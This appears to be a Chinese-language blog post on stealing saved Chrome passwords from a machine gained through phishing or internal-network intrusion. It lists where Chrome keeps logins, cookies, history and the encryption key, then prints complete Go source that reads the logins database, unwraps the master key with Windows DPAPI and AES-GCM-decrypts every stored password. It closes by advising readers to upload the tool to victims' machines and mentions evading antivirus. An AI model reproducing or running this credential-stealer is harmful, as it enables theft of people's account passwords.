1、 前言
当我们钓鱼或者进入内网获得一台机器权限的时候,第一步是需要信息搜集的,其中一步就是抓取并解密浏览器密码,虽然后一款非常好用的HackBrowserData工具,
但是用的人多了也就开始被杀了。
这篇文章就是来了解一下如何去解密Chrome浏览器密码的抓取浏览器信息需要以下几个文件,这些文件存储了浏览器的信息,工具抓取也是去获取这些文件里面的信息。
2、 过程
chrome 敏感文件存储位置
  1. chrome的登陆账号密码文件Login Data文件存储位置
  2. C:\Users\xxx\AppData\Local\Google\Chrome\User Data\Default\Login Data
  3. chrome中存储加密key的位置
  4. C:\Users\xxx\AppData\Local\Google\Chrome\User Data\Local State
  5. chrome的cookie存储的位置:
  6. C:\Users\xxx\AppData\Local\Google\Chrome\User Data\Default\Cookies
  7. chrome的浏览历史History存储位置:
  8. C:\Users\xxx\AppData\Local\Google\Chrome\User Data\Default\History
  9. chrome的收藏的书签存储位置:
  10. C:\Users\xxx\AppData\Local\Google\Chrome\User Data\Default\Bookmarks
复制代码

其中Cookies、History、Login Data是SQLite3数据库文件,可以使用sqlitestudio直接打开
Bookmarks是全明文的xml文件
Login Data文件是一个数据库文件,可以直接使用工具连接数据库。当chrome正在使用时,是不可连接的
  1. User\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data
复制代码

但是可以复制出来,再次进行连接。其他都是明文,密码字段是加密的
由于数据库使用的是sqlite3,使用golang脚本加载sqlite3库,进行连接,可正常查询数据​​​​​​​
  1. package main


  2. import (
  3. "database/sql"
  4. "fmt"
  5. "log"
  6. "os"

  7. _ "github.com/mattn/go-sqlite3"
  8. )


  9. var (
  10. userPath, _ = os.UserHomeDir()
  11. //保存的密码存到了logindata数据库sqlite
  12. localData  string = userPath + "\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data"
  13. localState string = userPath + "\\AppData\\Local\\Google\\Chrome\\User Data\\Local State"
  14. temporary  string = "D:\\GoProject\\test\\Login Data"
  15. )


  16. type chromeDB struct {
  17. Origin_url     string `json:"origin_url"`
  18. Action_url     string `json:"action_url"`
  19. Username_value string `json:"username_value"`
  20. Password_value string `json:"password_value"`
  21. }


  22. func sqLite() {
  23. var chrome chromeDB
  24. db, err := sql.Open("sqlite3", temporary)
  25. checkErr(err)
  26. sql := "SELECT origin_url,action_url, username_value, password_value FROM logins"
  27. // stmt, err := db.Prepare(sql)
  28. // checkErr(err)
  29. //defer stmt.Close()
  30. rows, err := db.Query(sql)
  31. checkErr(err)
  32. for rows.Next() {
  33. err = rows.Scan(&chrome.Origin_url, &chrome.Action_url, &chrome.Username_value, &chrome.Password_value)
  34. checkErr(err)
  35. fmt.Println(chrome.Action_url)
  36. }

  37. }


  38. func checkErr(err error) {
  39. if err != nil {
  40. log.Fatal(err)
  41. }
  42. }


  43. func main() {
  44. sqLite()
  45. }
复制代码

但是查询的密码是加密的,接下来需要对密码进行解密。
windows下的chrome使用的加密方法是AES加密,需要一个密钥就可以实现解密
在这个目录下的Local State文件存放了解密使用的KEY
user/AppData/Local/Google/Chrome/User Data/Local State
这个文件时json格式的,在encrypted_key参数对应的就是解密需要的key
chrome最新版在密钥加密后数据前缀是V10,在前面截图中可以看到。后12字节的字符才是真正的密文。Chrome使用的是AES-256-GCM的AEAD对称加密,
然后再另一款工具中找到了解密方法(hackBrowserData)。首先获取os_crypt.encrypted_key字段中的数据,然后经过base64解密,再去除首位5个字符DPAPI。
因为原始密钥加密的时候会带上APAPI前缀+base64编码然后存储到json文件
​​​​​​​
  1. func GetMasterKey() ([]byte, error) {
  2. keyFile, err := ioutil.ReadFile(temporarykey)
  3. if err != nil {
  4. return nil, err
  5. }
  6. defer os.Remove(string(keyFile))
  7. encryptedKey := gjson.Get(string(keyFile), "os_crypt.encrypted_key")
  8. if encryptedKey.Exists() {
  9. pureKey, err := base64.StdEncoding.DecodeString(encryptedKey.String())
  10. if err != nil {
  11. return nil, errDecodeMasterKeyFailed
  12. }
  13. //去除首位5个字符DPAPI
  14. masterKey, err := DPApi(pureKey[5:])


  15. checkErr(err, "6")


  16. return masterKey, err
  17. }
  18. return nil, nil
  19. }


  20. func DPApi(data []byte) ([]byte, error) {
  21. dllCrypt := syscall.NewLazyDLL("Crypt32.dll")
  22. dllKernel := syscall.NewLazyDLL("Kernel32.dll")
  23. procDecryptData := dllCrypt.NewProc("CryptUnprotectData")
  24. procLocalFree := dllKernel.NewProc("LocalFree")
  25. var outBlob dataBlob
  26. r, _, err := procDecryptData.Call(uintptr(unsafe.Pointer(NewBlob(data))), 0, 0, 0, 0, 0, uintptr(unsafe.Pointer(&outBlob)))
  27. if r == 0 {
  28. return nil, err
  29. }
  30. defer procLocalFree.Call(uintptr(unsafe.Pointer(outBlob.pbData)))
  31. return outBlob.ToByteArray(), nil
  32. }


  33. func NewBlob(d []byte) *dataBlob {
  34. if len(d) == 0 {
  35. return &dataBlob{}
  36. }
  37. return &dataBlob{
  38. pbData: &d[0],
  39. cbData: uint32(len(d)),
  40. }
  41. }
复制代码
这样就获得了一个key。获得了key之后就使用aesGCMD解密。如下就是解密方法
  1. key,err := GetMasterKey()


  2. pass, err := Chromium([]byte(key), []byte(chrome.Password_value))


  3. func Chromium(key, encryptPass []byte) ([]byte, error) {
  4. if len(encryptPass) > 15 {
  5. // remove Prefix 'v10'
  6. return aesGCMDecrypt(encryptPass[15:], key, encryptPass[3:15])
  7. } else {
  8. return nil, errPasswordIsEmpty
  9. }
  10. }


  11. func aesGCMDecrypt(crypted, key, nounce []byte) ([]byte, error) {
  12. block, err := aes.NewCipher(key)
  13. if err != nil {
  14. return nil, err
  15. }
  16. blockMode, err := cipher.NewGCM(block)
  17. if err != nil {
  18. return nil, err
  19. }
  20. origData, err := blockMode.Open(nil, nounce, crypted, nil)
  21. if err != nil {
  22. return nil, err
  23. }
  24. return origData, nil
  25. }
复制代码

有了key可解密方法之后就可以传入数据库中的密码和key进行解密,如下是完整的解密代码。可自行测试,
  1. package main


  2. import (
  3. "crypto/aes"
  4. "crypto/cipher"
  5. "database/sql"
  6. "encoding/base64"
  7. "errors"
  8. "fmt"
  9. "io/ioutil"
  10. "os"
  11. "syscall"
  12. "unsafe"


  13. _ "github.com/mattn/go-sqlite3"
  14. "github.com/tidwall/gjson"
  15. )


  16. var (
  17. userPath, _ = os.UserHomeDir()
  18. //保存的密码存到了logindata数据库sqlite
  19. localData    string = userPath + "\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data"
  20. localState   string = userPath + "\\AppData\\Local\\Google\\Chrome\\User Data\\Local State"
  21. //这里是我临时存放这两个文件的目录位置,当然也可以copy到指定目录
  22. temporarydb  string = "C:\\Users\\admin\\Desktop\\test\\Login Data"
  23. temporarykey string = "C:\\Users\\admin\\Desktop\\test\\Local State"
  24. )


  25. type chromeDB struct {
  26. Origin_url     string `json:"origin_url"`
  27. Action_url     string `json:"action_url"`
  28. Username_value string `json:"username_value"`
  29. Password_value string `json:"password_value"`
  30. }


  31. type dataBlob struct {
  32. cbData uint32
  33. pbData *byte
  34. }


  35. func sqLite() {
  36. fmt.Println(localState)
  37. var chrome chromeDB
  38. db, err := sql.Open("sqlite3", temporarydb)
  39. checkErr(err, "1")


  40. sql := "SELECT origin_url,action_url, username_value, password_value FROM logins"
  41. rows, err := db.Query(sql)


  42. checkErr(err, "2")
  43. for rows.Next() {


  44. err = rows.Scan(&chrome.Origin_url, &chrome.Action_url, &chrome.Username_value, &chrome.Password_value)


  45. checkErr(err, "3")
  46. // fmt.Println(chrome.Password_value)
  47. key, err := GetMasterKey()


  48. checkErr(err, "4")
  49. pass, err := Chromium([]byte(key), []byte(chrome.Password_value))


  50. checkErr(err, "5")
  51. fmt.Println(string(pass))
  52. }
  53. }


  54. var (
  55. errPasswordIsEmpty       = errors.New("password is empty")
  56. errDecodeMasterKeyFailed = errors.New("decode master key failed")
  57. )


  58. func Chromium(key, encryptPass []byte) ([]byte, error) {
  59. if len(encryptPass) > 15 {
  60. // remove Prefix 'v10'
  61. return aesGCMDecrypt(encryptPass[15:], key, encryptPass[3:15])
  62. } else {
  63. return nil, errPasswordIsEmpty
  64. }
  65. }


  66. func GetMasterKey() ([]byte, error) {
  67. keyFile, err := ioutil.ReadFile(temporarykey)
  68. if err != nil {
  69. return nil, err
  70. }
  71. defer os.Remove(string(keyFile))
  72. encryptedKey := gjson.Get(string(keyFile), "os_crypt.encrypted_key")
  73. if encryptedKey.Exists() {
  74. pureKey, err := base64.StdEncoding.DecodeString(encryptedKey.String())
  75. if err != nil {
  76. return nil, errDecodeMasterKeyFailed
  77. }
  78. //去除首位5个字符DPAPI
  79. masterKey, err := DPApi(pureKey[5:])


  80. checkErr(err, "6")


  81. return masterKey, err
  82. }
  83. return nil, nil
  84. }


  85. func NewBlob(d []byte) *dataBlob {
  86. if len(d) == 0 {
  87. return &dataBlob{}
  88. }
  89. return &dataBlob{
  90. pbData: &d[0],
  91. cbData: uint32(len(d)),
  92. }
  93. }


  94. func (b *dataBlob) ToByteArray() []byte {
  95. d := make([]byte, b.cbData)
  96. copy(d, (*[1 << 30]byte)(unsafe.Pointer(b.pbData))[:])
  97. return d
  98. }


  99. func DPApi(data []byte) ([]byte, error) {
  100. dllCrypt := syscall.NewLazyDLL("Crypt32.dll")
  101. dllKernel := syscall.NewLazyDLL("Kernel32.dll")
  102. procDecryptData := dllCrypt.NewProc("CryptUnprotectData")
  103. procLocalFree := dllKernel.NewProc("LocalFree")
  104. var outBlob dataBlob
  105. r, _, err := procDecryptData.Call(uintptr(unsafe.Pointer(NewBlob(data))), 0, 0, 0, 0, 0, uintptr(unsafe.Pointer(&outBlob)))
  106. if r == 0 {
  107. return nil, err
  108. }
  109. defer procLocalFree.Call(uintptr(unsafe.Pointer(outBlob.pbData)))
  110. return outBlob.ToByteArray(), nil
  111. }


  112. func aesGCMDecrypt(crypted, key, nounce []byte) ([]byte, error) {
  113. block, err := aes.NewCipher(key)
  114. if err != nil {
  115. return nil, err
  116. }
  117. blockMode, err := cipher.NewGCM(block)
  118. if err != nil {
  119. return nil, err
  120. }
  121. origData, err := blockMode.Open(nil, nounce, crypted, nil)
  122. if err != nil {
  123. return nil, err
  124. }
  125. return origData, nil
  126. }


  127. func checkErr(err error, str string) {
  128. if err != nil {
  129. fmt.Println(err, str)
  130. }
  131. }


  132. func main() {


  133. sqLite()
  134. }
复制代码

如果你不会做免杀,那么就可以单独写一个解密工具,如遇到对方机器只有Chrome的时候,可以上传这个小工具